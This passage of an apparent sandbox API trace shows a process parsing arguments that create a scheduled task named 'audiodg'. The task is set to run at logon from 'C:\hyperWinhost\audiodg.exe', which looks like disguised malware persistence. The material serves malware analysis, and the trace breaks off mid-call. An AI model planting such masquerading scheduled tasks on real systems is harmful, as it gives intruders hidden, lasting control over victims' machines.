GetProcessHeap () returned 0x310000 [0070.338] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c1c0 [0070.338] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.338] GetProcessHeap () returned 0x310000 [0070.338] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa) returned 0x32c2e0 [0070.338] lstrlenW (lpString="create") returned 6 [0070.338] GetProcessHeap () returned 0x310000 [0070.338] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c300 [0070.338] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.338] GetProcessHeap () returned 0x310000 [0070.338] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x14) returned 0x32c320 [0070.338] _vsnwprintf (in: _Buffer=0x32c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|?|") returned 3 [0070.338] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.338] lstrlenW (lpString="|?|") returned 3 [0070.338] lstrlenW (lpString="|create|") returned 8 [0070.338] SetLastError (dwErrCode=0x490) [0070.338] lstrlenW (lpString="create") returned 6 [0070.338] lstrlenW (lpString="create") returned 6 [0070.338] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.338] GetProcessHeap () returned 0x310000 [0070.338] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0) returned 1 [0070.338] GetProcessHeap () returned 0x310000 [0070.338] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32c2e0, Size=0x14) returned 0x32c340 [0070.338] lstrlenW (lpString="create") returned 6 [0070.338] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.338] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.339] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.339] lstrlenW (lpString="|create|") returned 8 [0070.339] lstrlenW (lpString="|create|") returned 8 [0070.339] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0070.339] SetLastError (dwErrCode=0x0) [0070.339] SetLastError (dwErrCode=0x0) [0070.339] SetLastError (dwErrCode=0x0) [0070.339] lstrlenW (lpString="/tn") returned 3 [0070.339] lstrlenW (lpString="-/") returned 2 [0070.339] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.339] lstrlenW (lpString="?") returned 1 [0070.339] lstrlenW (lpString="?") returned 1 [0070.339] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.339] lstrlenW (lpString="tn") returned 2 [0070.339] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.339] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|?|") returned 3 [0070.339] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.339] lstrlenW (lpString="|?|") returned 3 [0070.339] lstrlenW (lpString="|tn|") returned 4 [0070.339] SetLastError (dwErrCode=0x490) [0070.339] lstrlenW (lpString="create") returned 6 [0070.339] lstrlenW (lpString="create") returned 6 [0070.339] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.339] lstrlenW (lpString="tn") returned 2 [0070.339] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.339] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.339] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.339] lstrlenW (lpString="|create|") returned 8 [0070.339] lstrlenW (lpString="|tn|") returned 4 [0070.340] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0070.340] SetLastError (dwErrCode=0x490) [0070.340] lstrlenW (lpString="delete") returned 6 [0070.340] lstrlenW (lpString="delete") returned 6 [0070.340] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.340] lstrlenW (lpString="tn") returned 2 [0070.340] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.340] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|delete|") returned 8 [0070.340] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.340] lstrlenW (lpString="|delete|") returned 8 [0070.340] lstrlenW (lpString="|tn|") returned 4 [0070.340] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0070.340] SetLastError (dwErrCode=0x490) [0070.340] lstrlenW (lpString="query") returned 5 [0070.340] lstrlenW (lpString="query") returned 5 [0070.340] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.340] lstrlenW (lpString="tn") returned 2 [0070.340] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.340] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|query|") returned 7 [0070.340] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.340] lstrlenW (lpString="|query|") returned 7 [0070.340] lstrlenW (lpString="|tn|") returned 4 [0070.340] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0070.340] SetLastError (dwErrCode=0x490) [0070.340] lstrlenW (lpString="change") returned 6 [0070.340] lstrlenW (lpString="change") returned 6 [0070.340] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.340] lstrlenW (lpString="tn") returned 2 [0070.340] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.341] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|change|") returned 8 [0070.341] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.341] lstrlenW (lpString="|change|") returned 8 [0070.341] lstrlenW (lpString="|tn|") returned 4 [0070.341] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0070.341] SetLastError (dwErrCode=0x490) [0070.341] lstrlenW (lpString="run") returned 3 [0070.341] lstrlenW (lpString="run") returned 3 [0070.341] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.341] lstrlenW (lpString="tn") returned 2 [0070.341] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.341] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|run|") returned 5 [0070.341] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.341] lstrlenW (lpString="|run|") returned 5 [0070.341] lstrlenW (lpString="|tn|") returned 4 [0070.341] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0070.341] SetLastError (dwErrCode=0x490) [0070.341] lstrlenW (lpString="end") returned 3 [0070.341] lstrlenW (lpString="end") returned 3 [0070.341] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.341] lstrlenW (lpString="tn") returned 2 [0070.341] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.341] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|end|") returned 5 [0070.341] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.341] lstrlenW (lpString="|end|") returned 5 [0070.341] lstrlenW (lpString="|tn|") returned 4 [0070.341] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0070.341] SetLastError (dwErrCode=0x490) [0070.341] lstrlenW (lpString="showsid") returned 7 [0070.342] lstrlenW (lpString="showsid") returned 7 [0070.342] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.342] GetProcessHeap () returned 0x310000 [0070.342] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c340) returned 1 [0070.342] GetProcessHeap () returned 0x310000 [0070.342] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32c340, Size=0x16) returned 0x32c340 [0070.342] lstrlenW (lpString="tn") returned 2 [0070.342] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.342] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|showsid|") returned 9 [0070.342] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tn|") returned 4 [0070.342] lstrlenW (lpString="|showsid|") returned 9 [0070.342] lstrlenW (lpString="|tn|") returned 4 [0070.342] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0070.342] SetLastError (dwErrCode=0x490) [0070.342] SetLastError (dwErrCode=0x490) [0070.342] SetLastError (dwErrCode=0x0) [0070.342] lstrlenW (lpString="/tn") returned 3 [0070.342] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0070.342] SetLastError (dwErrCode=0x490) [0070.342] SetLastError (dwErrCode=0x0) [0070.342] lstrlenW (lpString="/tn") returned 3 [0070.342] GetProcessHeap () returned 0x310000 [0070.342] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c2e0 [0070.342] GetProcessHeap () returned 0x310000 [0070.342] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd10 [0070.342] SetLastError (dwErrCode=0x0) [0070.342] SetLastError (dwErrCode=0x0) [0070.342] lstrlenW (lpString="audiodg") returned 7 [0070.343] lstrlenW (lpString="-/") returned 2 [0070.343] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0070.343] SetLastError (dwErrCode=0x490) [0070.343] SetLastError (dwErrCode=0x490) [0070.343] SetLastError (dwErrCode=0x0) [0070.343] lstrlenW (lpString="audiodg") returned 7 [0070.343] StrChrIW (lpStart="audiodg", wMatch=0x3a) returned 0x0 [0070.343] SetLastError (dwErrCode=0x490) [0070.343] SetLastError (dwErrCode=0x0) [0070.343] lstrlenW (lpString="audiodg") returned 7 [0070.343] GetProcessHeap () returned 0x310000 [0070.343] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32c370 [0070.343] GetProcessHeap () returned 0x310000 [0070.343] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd40 [0070.343] SetLastError (dwErrCode=0x0) [0070.343] SetLastError (dwErrCode=0x0) [0070.343] lstrlenW (lpString="/sc") returned 3 [0070.343] lstrlenW (lpString="-/") returned 2 [0070.343] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.343] lstrlenW (lpString="?") returned 1 [0070.343] lstrlenW (lpString="?") returned 1 [0070.343] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.343] lstrlenW (lpString="sc") returned 2 [0070.343] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.343] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|?|") returned 3 [0070.343] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.343] lstrlenW (lpString="|?|") returned 3 [0070.343] lstrlenW (lpString="|sc|") returned 4 [0070.343] SetLastError (dwErrCode=0x490) [0070.343] lstrlenW (lpString="create") returned 6 [0070.343] lstrlenW (lpString="create") returned 6 [0070.343] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.344] lstrlenW (lpString="sc") returned 2 [0070.344] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.344] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.344] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.344] lstrlenW (lpString="|create|") returned 8 [0070.344] lstrlenW (lpString="|sc|") returned 4 [0070.344] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0070.344] SetLastError (dwErrCode=0x490) [0070.344] lstrlenW (lpString="delete") returned 6 [0070.344] lstrlenW (lpString="delete") returned 6 [0070.344] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.344] lstrlenW (lpString="sc") returned 2 [0070.344] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.344] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|delete|") returned 8 [0070.344] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.344] lstrlenW (lpString="|delete|") returned 8 [0070.344] lstrlenW (lpString="|sc|") returned 4 [0070.344] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0070.344] SetLastError (dwErrCode=0x490) [0070.344] lstrlenW (lpString="query") returned 5 [0070.344] lstrlenW (lpString="query") returned 5 [0070.344] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.344] lstrlenW (lpString="sc") returned 2 [0070.344] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.344] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|query|") returned 7 [0070.344] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.344] lstrlenW (lpString="|query|") returned 7 [0070.344] lstrlenW (lpString="|sc|") returned 4 [0070.345] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0070.345] SetLastError (dwErrCode=0x490) [0070.345] lstrlenW (lpString="change") returned 6 [0070.345] lstrlenW (lpString="change") returned 6 [0070.345] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.345] lstrlenW (lpString="sc") returned 2 [0070.345] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.345] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|change|") returned 8 [0070.345] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.345] lstrlenW (lpString="|change|") returned 8 [0070.345] lstrlenW (lpString="|sc|") returned 4 [0070.345] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0070.345] SetLastError (dwErrCode=0x490) [0070.345] lstrlenW (lpString="run") returned 3 [0070.345] lstrlenW (lpString="run") returned 3 [0070.345] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.345] lstrlenW (lpString="sc") returned 2 [0070.345] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.345] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|run|") returned 5 [0070.345] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.345] lstrlenW (lpString="|run|") returned 5 [0070.345] lstrlenW (lpString="|sc|") returned 4 [0070.345] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0070.345] SetLastError (dwErrCode=0x490) [0070.345] lstrlenW (lpString="end") returned 3 [0070.345] lstrlenW (lpString="end") returned 3 [0070.345] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.345] lstrlenW (lpString="sc") returned 2 [0070.345] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.345] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|end|") returned 5 [0070.346] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.346] lstrlenW (lpString="|end|") returned 5 [0070.346] lstrlenW (lpString="|sc|") returned 4 [0070.346] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0070.346] SetLastError (dwErrCode=0x490) [0070.346] lstrlenW (lpString="showsid") returned 7 [0070.346] lstrlenW (lpString="showsid") returned 7 [0070.346] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.346] lstrlenW (lpString="sc") returned 2 [0070.346] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.346] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|showsid|") returned 9 [0070.346] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|sc|") returned 4 [0070.346] lstrlenW (lpString="|showsid|") returned 9 [0070.346] lstrlenW (lpString="|sc|") returned 4 [0070.346] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0070.346] SetLastError (dwErrCode=0x490) [0070.346] SetLastError (dwErrCode=0x490) [0070.346] SetLastError (dwErrCode=0x0) [0070.346] lstrlenW (lpString="/sc") returned 3 [0070.346] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0070.346] SetLastError (dwErrCode=0x490) [0070.346] SetLastError (dwErrCode=0x0) [0070.346] lstrlenW (lpString="/sc") returned 3 [0070.346] GetProcessHeap () returned 0x310000 [0070.346] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c390 [0070.346] GetProcessHeap () returned 0x310000 [0070.346] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd70 [0070.346] SetLastError (dwErrCode=0x0) [0070.346] SetLastError (dwErrCode=0x0) [0070.346] lstrlenW (lpString="ONLOGON") returned 7 [0070.346] lstrlenW (lpString="-/") returned 2 [0070.346] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0070.346] SetLastError (dwErrCode=0x490) [0070.347] SetLastError (dwErrCode=0x490) [0070.347] SetLastError (dwErrCode=0x0) [0070.347] lstrlenW (lpString="ONLOGON") returned 7 [0070.347] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0070.347] SetLastError (dwErrCode=0x490) [0070.347] SetLastError (dwErrCode=0x0) [0070.347] lstrlenW (lpString="ONLOGON") returned 7 [0070.347] GetProcessHeap () returned 0x310000 [0070.347] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32c3b0 [0070.347] GetProcessHeap () returned 0x310000 [0070.347] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cda0 [0070.347] SetLastError (dwErrCode=0x0) [0070.347] SetLastError (dwErrCode=0x0) [0070.347] lstrlenW (lpString="/tr") returned 3 [0070.347] lstrlenW (lpString="-/") returned 2 [0070.347] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0070.347] lstrlenW (lpString="?") returned 1 [0070.347] lstrlenW (lpString="?") returned 1 [0070.347] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.347] lstrlenW (lpString="tr") returned 2 [0070.347] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.347] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|?|") returned 3 [0070.347] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.347] lstrlenW (lpString="|?|") returned 3 [0070.347] lstrlenW (lpString="|tr|") returned 4 [0070.347] SetLastError (dwErrCode=0x490) [0070.347] lstrlenW (lpString="create") returned 6 [0070.347] lstrlenW (lpString="create") returned 6 [0070.347] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.347] lstrlenW (lpString="tr") returned 2 [0070.347] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.347] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|create|") returned 8 [0070.348] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.348] lstrlenW (lpString="|create|") returned 8 [0070.348] lstrlenW (lpString="|tr|") returned 4 [0070.348] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0070.348] SetLastError (dwErrCode=0x490) [0070.348] lstrlenW (lpString="delete") returned 6 [0070.348] lstrlenW (lpString="delete") returned 6 [0070.348] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.348] lstrlenW (lpString="tr") returned 2 [0070.348] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.348] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|delete|") returned 8 [0070.348] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.348] lstrlenW (lpString="|delete|") returned 8 [0070.348] lstrlenW (lpString="|tr|") returned 4 [0070.348] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0070.348] SetLastError (dwErrCode=0x490) [0070.348] lstrlenW (lpString="query") returned 5 [0070.348] lstrlenW (lpString="query") returned 5 [0070.348] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.348] lstrlenW (lpString="tr") returned 2 [0070.348] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.348] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|query|") returned 7 [0070.348] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.348] lstrlenW (lpString="|query|") returned 7 [0070.348] lstrlenW (lpString="|tr|") returned 4 [0070.348] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0070.348] SetLastError (dwErrCode=0x490) [0070.348] lstrlenW (lpString="change") returned 6 [0070.348] lstrlenW (lpString="change") returned 6 [0070.348] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.349] lstrlenW (lpString="tr") returned 2 [0070.349] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.349] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|change|") returned 8 [0070.349] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.349] lstrlenW (lpString="|change|") returned 8 [0070.349] lstrlenW (lpString="|tr|") returned 4 [0070.349] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0070.349] SetLastError (dwErrCode=0x490) [0070.349] lstrlenW (lpString="run") returned 3 [0070.349] lstrlenW (lpString="run") returned 3 [0070.349] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.349] lstrlenW (lpString="tr") returned 2 [0070.349] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.349] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|run|") returned 5 [0070.349] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.349] lstrlenW (lpString="|run|") returned 5 [0070.349] lstrlenW (lpString="|tr|") returned 4 [0070.349] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0070.349] SetLastError (dwErrCode=0x490) [0070.349] lstrlenW (lpString="end") returned 3 [0070.349] lstrlenW (lpString="end") returned 3 [0070.349] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.349] lstrlenW (lpString="tr") returned 2 [0070.349] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.349] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|end|") returned 5 [0070.349] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.349] lstrlenW (lpString="|end|") returned 5 [0070.349] lstrlenW (lpString="|tr|") returned 4 [0070.350] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0070.350] SetLastError (dwErrCode=0x490) [0070.350] lstrlenW (lpString="showsid") returned 7 [0070.350] lstrlenW (lpString="showsid") returned 7 [0070.350] _memicmp (_Buf1=0x32c1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.350] lstrlenW (lpString="tr") returned 2 [0070.350] _memicmp (_Buf1=0x32c300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0070.350] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|showsid|") returned 9 [0070.350] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf178 | out: _Buffer="|tr|") returned 4 [0070.350] lstrlenW (lpString="|showsid|") returned 9 [0070.350] lstrlenW (lpString="|tr|") returned 4 [0070.350] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0070.350] SetLastError (dwErrCode=0x490) [0070.350] SetLastError (dwErrCode=0x490) [0070.350] SetLastError (dwErrCode=0x0) [0070.350] lstrlenW (lpString="/tr") returned 3 [0070.350] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0070.350] SetLastError (dwErrCode=0x490) [0070.350] SetLastError (dwErrCode=0x0) [0070.350] lstrlenW (lpString="/tr") returned 3 [0070.350] GetProcessHeap () returned 0x310000 [0070.350] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c3d0 [0070.350] GetProcessHeap () returned 0x310000 [0070.350] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cdd0 [0070.350] SetLastError (dwErrCode=0x0) [0070.350] SetLastError (dwErrCode=0x0) [0070.350] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0070.350] lstrlenW (lpString="-/") returned 2 [0070.350] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0070.350] SetLastError (dwErrCode=0x490) [0070.350] SetLastError (dwErrCode=0x490) [0070.351] SetLastError (dwErrCode=0x0) [0070.351] lstrlenW 